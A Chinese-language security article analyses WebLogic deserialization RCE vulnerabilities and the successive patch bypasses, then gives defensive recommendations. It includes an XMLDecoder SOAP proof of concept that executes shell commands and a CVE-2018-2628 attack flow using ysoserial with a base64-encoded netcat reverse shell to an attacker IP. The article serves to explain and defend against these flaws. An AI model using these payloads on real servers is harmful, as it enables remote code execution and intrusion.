缝缝补补的WebLogic:绕过的艺术
字数 2120 2025-08-18 11:37:28
WebLogic反序列化漏洞分析与防御指南
1. WebLogic简介
WebLogic是美国Oracle公司出品的一个基于Java EE架构的中间件应用服务器,具有以下特点:
- 功能全面:支持EJB、JSP、servlet、JMS等Java EE标准
- 扩展性强:提供出色的群集技术,实现网页和EJB组件群集
- 市场地位:全球使用量前列,中国地区资产数量达10562台(2018年数据)
2. WebLogic高危漏洞分类
2.1 XML反序列化RCE漏洞
CVE-2017-3506
漏洞原理:
- 漏洞位于wls组件的webservice处理soap请求过程中
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法处理请求- 当
localHeader1和localHeader2都不为null时,会将<work:WorkContext>数据传入readHeaderOld方法 - 最终通过
XMLDecoder()进行反序列化操作
影响路径:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
POC构造:
<work:WorkContext>
<java version="1.8.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>恶意命令</string></void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
CVE-2017-10271
绕过原理:
- CVE-2017-3506补丁仅限制了
object标签 - 通过使用
array或void等标签绕过限制
补丁改进:
- 增加了
new、method、void、array等关键字到黑名单
2.2 Java反序列化RCE漏洞
CVE-2015-4852
漏洞原理:
- 利用Apache Commons Collections的
TransformedMap类 - 当
TransformedMap的key或value变化时,会触发Transformer的transform()方法 - 通过
ChainedTransformer构造调用链,最终利用反射执行Runtime.getRuntime().exec
利用工具:
- ysoserial:生成Java反序列化payload
- SerializationDumper:分析Java序列化结构
CVE-2016-0638
绕过原理:
- 利用
weblogic.jms.common.StreamMessageImpl类 - 其
readExternal()方法可构造恶意ObjectInputStream - 绕过
ServerChannelInputStream和MsgAbbrevInputStream的限制
CVE-2016-3510
绕过原理:
- 使用
weblogic.corba.utils.MarshalledObject类 - 命令执行格式限制:必须使用
bash -c {echo,BASE64}|{base64,-d}|{bash,-i}形式
CVE-2017-3248
漏洞原理:
- 利用JRMP(Java远程方法协议)
- 序列化
RemoteObjectInvocationHandler,使用UnicastRef建立TCP连接 - 获取RMI registry后通过
readObject()解析执行恶意代码
CVE-2018-2628
漏洞原理:
- 使用
java.rmi.activation.Activator替代java.rmi.registry.Registry - 绕过
resolveProxyClass的判断
攻击流程示例:
- 攻击机(192.168.16.1)开启nc监听:
nc -nlvp 4040 - JRMP监听机(192.168.16.3)执行:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'bash -c {echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}' - 执行攻击脚本:
python exploit.py 目标IP 7001 ysoserial.jar JRMP监听IP 1099 JRMPClient2
CVE-2018-2893
漏洞原理:
- 结合
StreamMessageImpl封装和JRMPClient StreamMessageImpl反序列化时不会被resolveProxyClass检测
3. 防御建议
- 及时更新补丁:Oracle发布的补丁虽然可能被绕过,但仍是最基础的防护措施
- 网络隔离:限制WebLogic服务不必要的网络访问
- 禁用危险功能:如非必要,禁用T3、IIOP等协议
- 安全配置:
- 删除或限制访问
wls-wsat组件 - 启用WebLogic的安全管理器
- 删除或限制访问
- 监控与检测:
- 部署WAF规则检测反序列化攻击
- 监控异常网络连接和进程创建行为
- 代码审计:定期检查自定义代码中的反序列化操作
4. 工具推荐
- ysoserial:生成Java反序列化payload用于测试
- SerializationDumper:分析Java序列化结构
- 在线工具:生成Base64编码的命令payload
- http://jackson.thuraisamy.me/runtime-exec-payloads.html
5. 总结
WebLogic反序列化漏洞的修复与绕过展示了安全攻防的持续博弈。防御方需要:
- 深入理解漏洞原理而非简单依赖黑名单
- 采取纵深防御策略
- 保持对新型攻击手法的关注和研究
作为安全研究人员,应当:
- 深度剖析漏洞原理
- 探索可能的其他利用方式
- 在漏洞被利用前发现并修复
- 推动更安全的编码和配置实践